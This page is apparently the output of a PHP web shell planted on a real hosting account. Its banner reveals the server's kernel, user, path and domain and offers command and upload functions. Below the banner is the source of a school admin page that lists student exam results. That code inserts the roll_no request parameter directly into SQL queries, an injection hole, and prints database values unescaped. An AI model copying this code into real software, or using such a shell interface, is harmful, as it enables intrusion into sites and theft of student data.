|
1Server IP : 2a02:4780:11:1776:0:2637:29db:10 / Your IP : 216.73.217.108 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/emrskalsi.com/public_html/admin/img/blog-details/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->
<?php include('include/header.php'); ?>
<?php
$roll_no=$_GET['roll_no'];
$q = "SELECT result.*,class.class_name FROM result LEFT JOIN class ON class.id=result.class_id WHERE roll_no='".$roll_no."'";
$query = mysqli_query($conn,$q);
$row = mysqli_fetch_array($query);
?>
<div class="breadcome-area">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="breadcome-list">
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
<div class="breadcomb-wp">
<div class="breadcomb-icon">
<i class="icon nalika-home"></i>
</div>
<div class="breadcomb-ctn">
<h2>Result </h2>
</div>
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="product-status mg-b-30">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="product-status-wrap">
<h4>Result List</h4>
<div class="add-product">
<div style="position: absolute;left: 50%;transform: translateX(-50%);">
<button class="btn btn-primary" >Roll No. : <?php echo $row['roll_no'] ?></button>
<button class="btn btn-primary" >Student Name : <?php echo $row['student_name'] ?></button>
<button class="btn btn-primary" >Class : <?php echo $row['class_name'] ?></button>
</div>
<a href="add_result?id=<?php echo $row['id']; ?>">Add</a>
</div>
<table id="example" class="table table-hover table-striped">
<thead>
<tr>
<th>Subject Name</th>
<th>PA-1 (40)</th>
<th>PA-2 (40)</th>
<th>Total (80)</th>
<th>T-2 (50)</th>
<th>T-2 (50)</th>
<th>Total (800)</th>
<th>Grand Total (900)</th>
<th>Action</th>
</tr>
</thead>
<?php
$roll_no=$_GET['roll_no'];
$q = "SELECT result.*,subjects.subject_name FROM result LEFT JOIN subjects ON subjects.id=result.subject_id WHERE roll_no='".$roll_no."'";
$query = mysqli_query($conn,$q);
$total=0;
while($res = mysqli_fetch_array($query)) {
$total+=$res['theory1']+$res['theory2']+$res['pa1']+$res['pa2'];
?>
<tr>
<td><?php echo $res['subject_name'] ?></td>
<td><?php echo $res['pa1'] ?></td>
<td><?php echo $res['pa2'] ?></td>
<td><?php echo $res['pa1']+$res['pa2'] ?></td>
<td><?php echo $res['theory1'] ?></td>
<td><?php echo $res['theory2'] ?></td>
<td><?php echo $res['theory1']+$res['theory2'] ?></td>
<td><?php echo $res['theory1']+$res['theory2']+$res['pa1']+$res['pa2'] ?></td>
<td>
<button data-toggle="tooltip" title="Edit" class="pd-setting-ed"><a style="color: #fff;" href="edit_result?id=<?php echo $res['id'] ?>"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a></button>
<button onclick="del(<?php echo $res['id'] ?>)" data-toggle="tooltip" title="Trash" class="pd-setting-ed"><i class="fa fa-trash-o" aria-hidden="true"></i></button>
</td>
</tr>
<?php } ?>
<tfoot>
<tr>
<th colspan="7">Grand Total (900)</th>
<th><?php echo $total; ?></th>
<th></th>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
</div>
</div>
<script>
function del(e) {
var verify = confirm("Do you really want to delete!!!");
if(verify) {
$.ajax({
url: "delete.php",
type: "POST",
data: {
id: e,table_name:'result',
},
success: function(response){
location.reload();
},
})
}
}
</script>
<?php include('include/footer.php'); ?>